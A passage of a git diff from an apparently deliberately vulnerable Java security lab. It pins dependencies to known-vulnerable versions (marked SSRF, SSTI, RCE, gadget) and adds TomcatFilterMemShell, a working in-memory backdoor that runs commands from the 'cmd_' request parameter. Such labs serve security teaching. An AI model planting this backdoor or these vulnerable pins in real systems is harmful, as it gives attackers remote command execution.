         </dependency>
+
         <dependency>
             <groupId>org.apache.httpcomponents</groupId>
             <artifactId>fluent-hc</artifactId>
@@ -114,7 +100,13 @@
         <dependency>
             <groupId>org.apache.logging.log4j</groupId>
             <artifactId>log4j-core</artifactId>
-            <version>2.8.2</version>
+            <version>2.9.1</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.logging.log4j</groupId>
+            <artifactId>log4j-api</artifactId>
+            <version>2.9.1</version>
         </dependency>
 
         <dependency>
@@ -130,9 +122,310 @@
             <version>3.2</version>
         </dependency>
 
+        <!-- SpringBoot Actuator命令执行的库 -->
+        <dependency>
+            <groupId>org.jolokia</groupId>
+            <artifactId>jolokia-core</artifactId>
+            <version>1.6.0</version>
+        </dependency>
+
+        <!-- 添加SpringBoot Actuator-->
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-actuator</artifactId>
+        </dependency>
+
+        <!-- eureka -->
+        <dependency>
+            <groupId>org.springframework.cloud</groupId>
+            <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
+            <version>1.4.0.RELEASE</version>
+        </dependency>
+
+        <!-- 生成uuid -->
+        <dependency>
+            <groupId>com.fasterxml.uuid</groupId>
+            <artifactId>java-uuid-generator</artifactId>
+            <version>3.1.4</version>
+        </dependency>
+
+        <!-- 5.x的spring-security版本不适配springboot 1.5,因为1.5的springboot的spring-core版本是4.x,所以spring-security改为4.x即可适配。 -->
+        <dependency>
+            <groupId>org.springframework.security</groupId>
+            <artifactId>spring-security-web</artifactId>
+            <version>4.2.12.RELEASE</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.springframework.security</groupId>
+            <artifactId>spring-security-config</artifactId>
+            <version>4.2.12.RELEASE</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-security</artifactId>
+            <version>2.1.5.RELEASE</version>
+        </dependency>
+
+        <dependency>
+            <groupId>commons-net</groupId>
+            <artifactId>commons-net</artifactId>
+            <version>3.6</version>
+        </dependency>
+
+        <!-- HttpClient SSRF -->
+        <dependency>
+            <groupId>commons-httpclient</groupId>
+            <artifactId>commons-httpclient</artifactId>
+            <version>3.1</version>
+        </dependency>
+
+
+        <!-- mybatis -->
+        <dependency>
+            <groupId>org.mybatis.spring.boot</groupId>
+            <artifactId>mybatis-spring-boot-starter</artifactId>
+            <version>1.3.2</version>
+        </dependency>
+
+        <!-- ssti -->
+        <dependency>
+            <groupId>org.apache.velocity</groupId>
+            <artifactId>velocity</artifactId>
+            <version>1.7</version>
+        </dependency>
+
+
+        <dependency>
+            <groupId>com.thoughtworks.xstream</groupId>
+            <artifactId>xstream</artifactId>
+            <!-- For testing, you can use the vulnerable version of 1.4.10. -->
+            <version>1.4.20</version> <!-- use latest version to exploit vuln by using xstream.addPermission-->
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.poi</groupId>
+            <artifactId>poi</artifactId>
+            <version>3.10-FINAL</version>
+        </dependency>
+
+        <!-- vuln maven jar. Solve xlsx.-->
+        <dependency>
+            <groupId>org.apache.poi</groupId>
+            <artifactId>poi-ooxml</artifactId>
+            <version>3.9</version> <!-- 3.10-FINAL -->
+        </dependency>
+
+        <dependency>
+            <groupId>com.monitorjbl</groupId>
+            <artifactId>xlsx-streamer</artifactId>
+            <version>2.0.0</version>
+        </dependency>
+
+        <!-- ssrf -->
+        <dependency>
+            <groupId>org.jsoup</groupId>
+            <artifactId>jsoup</artifactId>
+            <version>1.10.2</version>
+        </dependency>
+
+        <!-- SSRF -->
+        <dependency>
+            <groupId>commons-io</groupId>
+            <artifactId>commons-io</artifactId>
+            <version>2.5</version>
+        </dependency>
+
+        <!-- SSRF -->
+        <dependency>
+            <groupId>org.apache.httpcomponents</groupId>
+            <artifactId>httpasyncclient</artifactId>
+            <version>4.1.4</version>
+        </dependency>
+
+        <dependency>
+            <groupId>io.springfox</groupId>
+            <artifactId>springfox-swagger2</artifactId>
+            <version>2.9.2</version>
+        </dependency>
+
+        <dependency>
+            <groupId>io.springfox</groupId>
+            <artifactId>springfox-swagger-ui</artifactId>
+            <version>2.9.2</version>
+        </dependency>
+
+        <!-- https://mvnrepository.com/artifact/org.projectlombok/lombok -->
+        <dependency>
+            <groupId>org.projectlombok</groupId>
+            <artifactId>lombok</artifactId>
+            <version>1.18.20</version>
+            <scope>provided</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.yaml</groupId>
+            <artifactId>snakeyaml</artifactId>
+            <version>1.21</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.springframework</groupId>
+            <artifactId>spring-test</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>junit</groupId>
+            <artifactId>junit</artifactId>
+        </dependency>
+
+        <!-- add commons-beanutils gadget -->
+        <dependency>
+            <groupId>commons-beanutils</groupId>
+            <artifactId>commons-beanutils</artifactId>
+            <version>1.9.4</version>
+        </dependency>
+
+        <!-- https://mvnrepository.com/artifact/io.jsonwebtoken/jjwt -->
+        <dependency>
+            <groupId>io.jsonwebtoken</groupId>
+            <artifactId>jjwt</artifactId>
+            <version>0.9.1</version>
+        </dependency>
+
+        <!-- https://github.com/auth0/java-jwt https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+        <dependency>
+            <groupId>com.auth0</groupId>
+            <artifactId>java-jwt</artifactId>
+            <version>4.0.0</version>
+        </dependency>
+
+        <dependency>
+            <groupId>cn.hutool</groupId>
+            <artifactId>hutool-all</artifactId>
+            <version>5.8.10</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.javassist</groupId>
+            <artifactId>javassist</artifactId>
+            <version>3.27.0-GA</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.springframework.data</groupId>
+            <artifactId>spring-data-commons</artifactId>
+            <version>1.13.11.RELEASE</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.jayway.jsonpath</groupId>
+            <artifactId>json-path</artifactId>
+        </dependency>
+
+        <dependency>
+            <groupId>org.xmlbeam</groupId>
+            <artifactId>xmlprojector</artifactId>
+            <version>1.4.13</version>
+        </dependency>
+
+        <!-- CVE-2022-21724 -->
+        <dependency>
+            <groupId>org.postgresql</groupId>
+            <artifactId>postgresql</artifactId>
+            <version>42.3.1</version>
+        </dependency>
+
+        <!-- jdbc db2 rce -->
+        <dependency>
+            <groupId>com.ibm.db2</groupId>
+            <artifactId>jcc</artifactId>
+            <version>11.5.8.0</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.shiro</groupId>
+            <artifactId>shiro-core</artifactId>
+            <version>1.2.4</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-databind</artifactId>
+            <version>2.9.8</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-annotations</artifactId>
+            <version>2.9.8</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-core</artifactId>
+            <version>2.9.8</version>
+        </dependency>
+
+
+        <!-- https://mvnrepository.com/artifact/org.jsecurity/jsecurity -->
+        <dependency>
+            <groupId>org.jsecurity</groupId>
+            <artifactId>jsecurity</artifactId>
+            <version>0.9.0</version>
+        </dependency>
+
+
+        <!-- 为了使用SimpleEvaluationContext,该类需要spring-expression版本大于等于4.3.15 -->
+        <dependency>
+            <groupId>org.springframework</groupId>
+            <artifactId>spring-expression</artifactId>
+            <version>4.3.16.RELEASE</version>
+        </dependency>
+
+        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
+        <dependency>
+            <groupId>com.h2database</groupId>
+            <artifactId>h2</artifactId>
+            <version>1.4.199</version>
+            <scope>test</scope>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.tomcat</groupId>
+            <artifactId>tomcat-dbcp</artifactId>
+            <version>9.0.8</version>
+        </dependency>
+
+        <dependency>
+            <groupId>com.alibaba</groupId>
+            <artifactId>QLExpress</artifactId>
+            <version>3.3.1</version>
+        </dependency>
     </dependencies>
 
+    <dependencyManagement>
+        <dependencies>
+            <dependency>
+                <groupId>org.springframework.cloud</groupId>
+                <artifactId>spring-cloud-dependencies</artifactId>
+                <version>Camden.RELEASE</version>
+                <type>pom</type>
+                <scope>import</scope>
+            </dependency>
+        </dependencies>
+    </dependencyManagement>
 
+    <!-- jar -->
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>org.springframework.boot</groupId>
+                <artifactId>spring-boot-maven-plugin</artifactId>
+            </plugin>
+        </plugins>
+    </build>
 
 
 </project>
\ No newline at end of file
diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java
index 6a6fbc6e..afdf6f56 100644
--- a/src/main/java/org/joychou/Application.java
+++ b/src/main/java/org/joychou/Application.java
@@ -3,10 +3,13 @@
 import org.springframework.boot.SpringApplication;
 import org.springframework.boot.autoconfigure.SpringBootApplication;
 import org.springframework.boot.builder.SpringApplicationBuilder;
+import org.springframework.boot.web.servlet.ServletComponentScan;
 import org.springframework.boot.web.support.SpringBootServletInitializer;
 
 
+@ServletComponentScan // do filter
 @SpringBootApplication
+// @EnableEurekaClient  // 测试Eureka请打开注释,防止控制台一直有warning
 public class Application extends SpringBootServletInitializer {
 
     @Override
diff --git a/src/main/java/org/joychou/config/Constants.java b/src/main/java/org/joychou/config/Constants.java
new file mode 100644
index 00000000..041f4f80
--- /dev/null
+++ b/src/main/java/org/joychou/config/Constants.java
@@ -0,0 +1,10 @@
+package org.joychou.config;
+
+public class Constants {
+
+    private Constants() {
+    }
+
+    public static final String REMEMBER_ME_COOKIE = "rememberMe";
+    public static final String ERROR_PAGE = "https://test.joychou.org/error1.html";
+}
diff --git a/src/main/java/org/joychou/config/CorsConfig2.java b/src/main/java/org/joychou/config/CorsConfig2.java
new file mode 100644
index 00000000..6c1a8ef8
--- /dev/null
+++ b/src/main/java/org/joychou/config/CorsConfig2.java
@@ -0,0 +1,29 @@
+//package org.joychou.config;
+//
+//import org.springframework.boot.web.servlet.FilterRegistrationBean;
+//import org.springframework.context.annotation.Bean;
+//import org.springframework.context.annotation.Configuration;
+//import org.springframework.web.cors.CorsConfiguration;
+//import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+//import org.springframework.web.filter.CorsFilter;
+//
+//// https://spring.io/blog/2015/06/08/cors-support-in-spring-framework
+//@Configuration
+//public class CorsConfig2 {
+//
+//    @Bean
+//    public FilterRegistrationBean corsFilter() {
+//        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+//        CorsConfiguration config = new CorsConfiguration();
+//        config.setAllowCredentials(true);
+//        config.addAllowedOrigin("http://test.joychou.org");
+//        config.addAllowedOrigin("https://test.joychou.org");
+//        config.addAllowedHeader("*");
+//        config.addAllowedMethod("GET");
+//        config.addAllowedMethod("POST");
+//        source.registerCorsConfiguration("/cors/getCsrfToken/sec_03", config);
+//        FilterRegistrationBean bean = new FilterRegistrationBean(new CorsFilter(source));
+//        bean.setOrder(0);
+//        return bean;
+//    }
+//}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/CsrfTokenBean.java b/src/main/java/org/joychou/config/CsrfTokenBean.java
new file mode 100644
index 00000000..b0698e12
--- /dev/null
+++ b/src/main/java/org/joychou/config/CsrfTokenBean.java
@@ -0,0 +1,18 @@
+package org.joychou.config;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
+
+/**
+ * Reference: https://docs.spring.io/spring-security/site/docs/5.0.x/reference/html/csrf.html
+ */
+
+@Configuration
+public class CsrfTokenBean {
+
+    @Bean
+    public CookieCsrfTokenRepository cookieCsrfTokenRepository() {
+        return CookieCsrfTokenRepository.withHttpOnlyFalse();
+    }
+}
diff --git a/src/main/java/org/joychou/config/CustomCorsConfig.java b/src/main/java/org/joychou/config/CustomCorsConfig.java
new file mode 100644
index 00000000..47d3acea
--- /dev/null
+++ b/src/main/java/org/joychou/config/CustomCorsConfig.java
@@ -0,0 +1,49 @@
+package org.joychou.config;
+
+import org.joychou.security.CustomCorsProcessor;
+import org.springframework.boot.autoconfigure.web.WebMvcRegistrationsAdapter;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.web.servlet.config.annotation.CorsRegistry;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
+import org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;
+import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
+
+@Configuration
+public class CustomCorsConfig extends WebMvcRegistrationsAdapter {
+
+    /**
+     * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。
+     */
+    @Bean
+    public WebMvcConfigurer corsConfigurer() {
+        return new WebMvcConfigurerAdapter() {
+            @Override
+            public void addCorsMappings(CorsRegistry registry) {
+                // 为了支持一级域名,重写了checkOrigin
+                //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
+                registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path
+                        //.allowedOrigins(allowOrigins)
+                        .allowedMethods("GET", "POST")
+                        .allowCredentials(true);
+            }
+        };
+    }
+
+
+    @Override
+    public RequestMappingHandlerMapping getRequestMappingHandlerMapping() {
+        return new CustomRequestMappingHandlerMapping();
+    }
+
+
+    /**
+     * 自定义Cors处理器,重写了checkOrigin
+     * 自定义校验origin,支持一级域名校验 && 多级域名
+     */
+    private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping {
+        private CustomRequestMappingHandlerMapping() {
+            setCorsProcessor(new CustomCorsProcessor());
+        }
+    }
+}
diff --git a/src/main/java/org/joychou/config/HttpServiceConfig.java b/src/main/java/org/joychou/config/HttpServiceConfig.java
new file mode 100644
index 00000000..64477bd4
--- /dev/null
+++ b/src/main/java/org/joychou/config/HttpServiceConfig.java
@@ -0,0 +1,38 @@
+package org.joychou.config;
+
+import org.springframework.boot.web.client.RestTemplateBuilder;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.http.client.SimpleClientHttpRequestFactory;
+import org.springframework.web.client.RestTemplate;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+
+
+class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory {
+
+
+    @Override
+    protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException {
+        super.prepareConnection(connection, httpMethod);
+        // Use custom ClientHttpRequestFactory to set followRedirects false.
+        connection.setInstanceFollowRedirects(false);
+    }
+}
+
+@Configuration
+public class HttpServiceConfig {
+
+    @Bean
+    public RestTemplate restTemplateBanRedirects(RestTemplateBuilder builder) {
+        return builder.requestFactory(CustomClientHttpRequestFactory.class).build();
+    }
+
+
+    @Bean
+    public RestTemplate restTemplate(RestTemplateBuilder builder) {
+        return builder.build();
+    }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/Object2Jsonp.java b/src/main/java/org/joychou/config/Object2Jsonp.java
new file mode 100644
index 00000000..64d68205
--- /dev/null
+++ b/src/main/java/org/joychou/config/Object2Jsonp.java
@@ -0,0 +1,100 @@
+package org.joychou.config;
+
+import org.apache.commons.lang.StringUtils;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.core.MethodParameter;
+import org.springframework.http.MediaType;
+import org.springframework.http.converter.json.MappingJacksonValue;
+import org.springframework.http.server.ServerHttpRequest;
+import org.springframework.http.server.ServerHttpResponse;
+import org.springframework.http.server.ServletServerHttpRequest;
+import org.springframework.http.server.ServletServerHttpResponse;
+import org.springframework.web.bind.annotation.ControllerAdvice;
+import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+
+/**
+ * <code>AbstractJsonpResponseBodyAdvice</code> will be removed as of Spring Framework 5.1, use CORS instead.
+ * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
+ */
+@ControllerAdvice
+public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice {
+
+    private final String[] callbacks;
+    private final Logger logger= LoggerFactory.getLogger(this.getClass());
+
+
+    // method of using @Value in constructor
+    public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
+        super(callbacks);  // Can set multiple paramNames
+        this.callbacks = callbacks;
+    }
+
+
+    // Check referer
+    @Override
+    protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType,
+                                           MethodParameter returnType, ServerHttpRequest req,
+                                           ServerHttpResponse res) {
+
+        HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest();
+        HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse();
+
+        String realJsonpFunc = getRealJsonpFunc(request);
+        // 如果url带callback,且校验不安全后
+        if ( StringUtils.isNotBlank(realJsonpFunc) ) {
+            jsonpReferHandler(request, response);
+        }
+        super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res);
+    }
+
+    /**
+     * @return 获取实际jsonp的callback
+     */
+    private String getRealJsonpFunc(HttpServletRequest req) {
+
+        String reqCallback = null;
+        for (String callback: this.callbacks) {
+            reqCallback = req.getParameter(callback);
+            if(StringUtils.isNotBlank(reqCallback)) {
+                break;
+            }
+        }
+        return reqCallback;
+    }
+
+    // 校验Jsonp的Referer
+    private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) {
+
+        String refer = request.getHeader("referer");
+        String url = request.getRequestURL().toString();
+        String query = request.getQueryString();
+
+        // 如果jsonp校验的开关为false,不校验
+        if ( !WebConfig.getJsonpReferCheckEnabled() ) {
+            return;
+        }
+
+        // 校验jsonp逻辑,如果不安全,返回forbidden
+        if (SecurityUtil.checkURL(refer) == null ){
+            logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
+            try{
+                // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错
+//                response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+//                response.getWriter().write(" Referer check error.");
+//                response.flushBuffer();
+                response.sendRedirect(Constants.ERROR_PAGE);
+            } catch (Exception e){
+                logger.error(e.toString());
+            }
+
+        }
+    }
+}
diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java
new file mode 100644
index 00000000..de2d0bd7
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainConfig.java
@@ -0,0 +1,29 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+
+/**
+ * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在Bean里。
+ */
+@Configuration
+public class SafeDomainConfig {
+
+    private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class);
+
+    @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中
+    public SafeDomainParser safeDomainParser() {
+        try {
+            LOGGER.info("SafeDomainParser bean inject successfully!!!");
+            return new SafeDomainParser();
+        } catch (Exception e) {
+            LOGGER.error("SafeDomainParser is null " + e.getMessage(), e);
+        }
+        return null;
+    }
+
+}
+
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
new file mode 100644
index 00000000..b92ff9eb
--- /dev/null
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -0,0 +1,140 @@
+package org.joychou.config;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.core.io.ClassPathResource;
+import org.w3c.dom.Document;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+
+import javax.xml.parsers.DocumentBuilder;
+import javax.xml.parsers.DocumentBuilderFactory;
+import java.io.File;
+import java.util.ArrayList;
+
+public class SafeDomainParser {
+
+    private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class);
+
+    public SafeDomainParser() {
+
+        String rootTag = "domains";
+        String safeDomainTag = "safedomains";
+        String blockDomainTag = "blockdomains";
+        String finalTag = "domain";
+        String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml";
+        ArrayList<String> safeDomains = new ArrayList<>();
+        ArrayList<String> blockDomains = new ArrayList<>();
+
+        try {
+            // 读取resources目录下的文件
+            ClassPathResource resource = new ClassPathResource(safeDomainClassPath);
+            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+            DocumentBuilder db = dbf.newDocumentBuilder();
+            Document doc = db.parse(resource.getInputStream());  // parse xml
+
+            NodeList rootNode = doc.getElementsByTagName(rootTag);  // 解析根节点domains
+            Node domainsNode = rootNode.item(0);
+            NodeList child = domainsNode.getChildNodes();
+
+            for (int i = 0; i < child.getLength(); i++) {
+                Node node = child.item(i);
+                // 解析safeDomains节点
+                if (node.getNodeName().equals(safeDomainTag)) {
+                    NodeList tagChild = node.getChildNodes();
+                    for (int j = 0; j < tagChild.getLength(); j++) {
+                        Node finalTagNode = tagChild.item(j);
+                        // 解析safeDomains节点里的domain节点
+                        if (finalTagNode.getNodeName().equals(finalTag)) {
+                            safeDomains.add(finalTagNode.getTextContent());
+                        }
+                    }
+                } else if (node.getNodeName().equals(blockDomainTag)) {
+                    NodeList finalTagNode = node.getChildNodes();
+                    for (int j = 0; j < finalTagNode.getLength(); j++) {
+                        Node tagNode = finalTagNode.item(j);
+                        // 解析blockDomains节点里的domain节点
+                        if (tagNode.getNodeName().equals(finalTag)) {
+                            blockDomains.add(tagNode.getTextContent());
+                        }
+                    }
+                }
+            }
+        } catch (Exception e) {
+            logger.error(e.toString());
+        }
+
+        WebConfig wc = new WebConfig();
+        wc.setSafeDomains(safeDomains);
+        logger.info(safeDomains.toString());
+        wc.setBlockDomains(blockDomains);
+
+        // 解析SSRF配置
+        String ssrfRootTag = "ssrfsafeconfig";
+        String ssrfSafeDomainTag = "safedomains";
+        String ssrfBlockDomainTag = "blockdomains";
+        String ssrfBlockIpsTag = "blockips";
+        String ssrfFinalTag = "domain";
+        String ssrfIpFinalTag = "ip";
+        String ssrfSafeDomainClassPath = "url" + File.separator + "ssrf_safe_domain.xml";
+
+        ArrayList<String> ssrfSafeDomains = new ArrayList<>();
+        ArrayList<String> ssrfBlockDomains = new ArrayList<>();
+        ArrayList<String> ssrfBlockIps = new ArrayList<>();
+
+        try {
+            // 读取resources目录下的文件
+            ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath);
+            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+            DocumentBuilder db = dbf.newDocumentBuilder();
+            // 修复打包成jar包运行,不能读取文件的bug
+            Document doc = db.parse(resource.getInputStream());  // parse xml
+
+            NodeList rootNode = doc.getElementsByTagName(ssrfRootTag);  // 解析根节点
+            Node domainsNode = rootNode.item(0);
+            NodeList child = domainsNode.getChildNodes();
+
+            for (int i = 0; i < child.getLength(); i++) {
+                Node node = child.item(i);
+                // 解析safeDomains节点
+                if (node.getNodeName().equals(ssrfSafeDomainTag)) {
+                    NodeList tagChild = node.getChildNodes();
+                    for (int j = 0; j < tagChild.getLength(); j++) {
+                        Node tagFinalNode = tagChild.item(j);
+                        if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) {
+                            ssrfSafeDomains.add(tagFinalNode.getTextContent());
+                        }
+                    }
+                } else if (node.getNodeName().equals(ssrfBlockDomainTag)) {
+                    NodeList tagChild = node.getChildNodes();
+                    for (int j = 0; j < tagChild.getLength(); j++) {
+                        Node tagFinalNode = tagChild.item(j);
+                        if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) {
+                            ssrfBlockDomains.add(tagFinalNode.getTextContent());
+                        }
+                    }
+                } else if (node.getNodeName().equals(ssrfBlockIpsTag)) {
+                    NodeList tagChild = node.getChildNodes();
+                    for (int j = 0; j < tagChild.getLength(); j++) {
+                        Node tagFinalNode = tagChild.item(j);
+                        // 解析 blockIps 节点里的 ip 节点
+                        if (tagFinalNode.getNodeName().equals(ssrfIpFinalTag)) {
+                            ssrfBlockIps.add(tagFinalNode.getTextContent());
+                        }
+                    }
+                }
+            }
+        } catch (Exception e) {
+            logger.error(e.toString());
+        }
+
+        logger.info(ssrfBlockIps.toString());
+        wc.setSsrfBlockDomains(ssrfBlockDomains);
+        wc.setSsrfBlockIps(ssrfBlockIps);
+        wc.setSsrfSafeDomains(ssrfSafeDomains);
+    }
+}
+
+
+
+
diff --git a/src/main/java/org/joychou/config/SwaggerConfig.java b/src/main/java/org/joychou/config/SwaggerConfig.java
new file mode 100644
index 00000000..c2a73973
--- /dev/null
+++ b/src/main/java/org/joychou/config/SwaggerConfig.java
@@ -0,0 +1,31 @@
+package org.joychou.config;
+
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import springfox.documentation.builders.PathSelectors;
+import springfox.documentation.builders.RequestHandlerSelectors;
+
+import springfox.documentation.spi.DocumentationType;
+import springfox.documentation.spring.web.plugins.Docket;
+import springfox.documentation.swagger2.annotations.EnableSwagger2;
+
+
+@Configuration
+@EnableSwagger2
+public class SwaggerConfig {
+
+    @Value("${swagger.enable}")
+    private boolean enableSwagger;
+
+    @Bean
+    public Docket api() {
+        return new Docket(DocumentationType.SWAGGER_2)
+                .enable(enableSwagger)
+                .select()
+                .apis(RequestHandlerSelectors.any())
+                .paths(PathSelectors.any())
+                .build();
+    }
+
+}
diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
new file mode 100644
index 00000000..15822d59
--- /dev/null
+++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
@@ -0,0 +1,105 @@
+package org.joychou.config;
+
+import java.lang.reflect.Field;
+import org.apache.catalina.core.StandardContext;
+import java.io.IOException;
+import org.apache.catalina.loader.WebappClassLoaderBase;
+import org.apache.tomcat.util.descriptor.web.FilterDef;
+import org.apache.tomcat.util.descriptor.web.FilterMap;
+import java.lang.reflect.Constructor;
+import org.apache.catalina.core.ApplicationFilterConfig;
+import org.apache.catalina.Context;
+import org.springframework.stereotype.Component;
+
+import javax.servlet.*;
+import java.util.*;
+
+//@Component
+public class TomcatFilterMemShell implements Filter {
+    static{
+        try {
+            System.out.println("Tomcat filter backdoor class is loading...");
+            final String name = "backdoorTomcatFilter";
+            final String URLPattern = "/*";
+
+            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
+            // standardContext为tomcat标准上下文,
+            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
+
+            Class<? extends StandardContext> aClass;
+            try{
+                // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext
+                // 适用于内嵌式springboot的tomcat
+                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
+            }catch (Exception e){
+                aClass = standardContext.getClass();
+            }
+            Field Configs = aClass.getDeclaredField("filterConfigs");
+            Configs.setAccessible(true);
+            // 获取当前tomcat标准上下文中已经存在的filterConfigs
+            Map filterConfigs = (Map) Configs.get(standardContext);
+
+            // 判断下防止重复注入
+            if (filterConfigs.get(name) == null) {
+                // 构造filterDef,并将filterDef添加到standardContext的FilterDef中
+                TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell();
+                FilterDef filterDef = new FilterDef();
+                filterDef.setFilter(backdoorFilter);
+                filterDef.setFilterName(name);
+                filterDef.setFilterClass(backdoorFilter.getClass().getName());
+                standardContext.addFilterDef(filterDef);
+
+                // 构造fiterMap,将filterMap添加到standardContext的FilterMap
+                FilterMap filterMap = new FilterMap();
+                filterMap.addURLPattern(URLPattern);
+                filterMap.setFilterName(name);
+                filterMap.setDispatcher(DispatcherType.REQUEST.name());
+                standardContext.addFilterMapBefore(filterMap);
+
+                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
+                constructor.setAccessible(true);
+                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
+
+                // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可
+                filterConfigs.put(name, filterConfig);
+                System.out.println("Tomcat filter backdoor inject success!");
+            } else System.out.println("It has been successfully injected, do not inject again.");
+        } catch (Exception e) {
+            System.out.println(e.getMessage());
+        }
+    }
+
+
+    @Override
+    public void init(FilterConfig filterConfig) throws ServletException {
+
+    }
+
+    @Override
+    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+        String cmd;
+        if ((cmd = servletRequest.getParameter("cmd_")) != null) {
+            Process process = Runtime.getRuntime().exec(cmd);
+            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
+                    new java.io.InputStreamReader(process.getInputStream()));
+            StringBuilder stringBuilder = new StringBuilder();
+            String line;
+            while ((line = bufferedReader.readLine()) != null) {
+                stringBuilder.append(line).append('\n');
+            }
+            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
+            servletResponse.getOutputStream().flush();
+            servletResponse.getOutputStream().close();
+            return;
+        }
+
+        filterChain.doFilter(servletRequest, servletResponse);
+    }
+
+
+    @Override
+    public void destroy() {
+
+    }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java
new file mode 100644
index 00000000..28ee6967
--- /dev/null
+++ b/src/main/java/org/joychou/config/WebConfig.java
@@ -0,0 +1,138 @@
+package org.joychou.config;
+
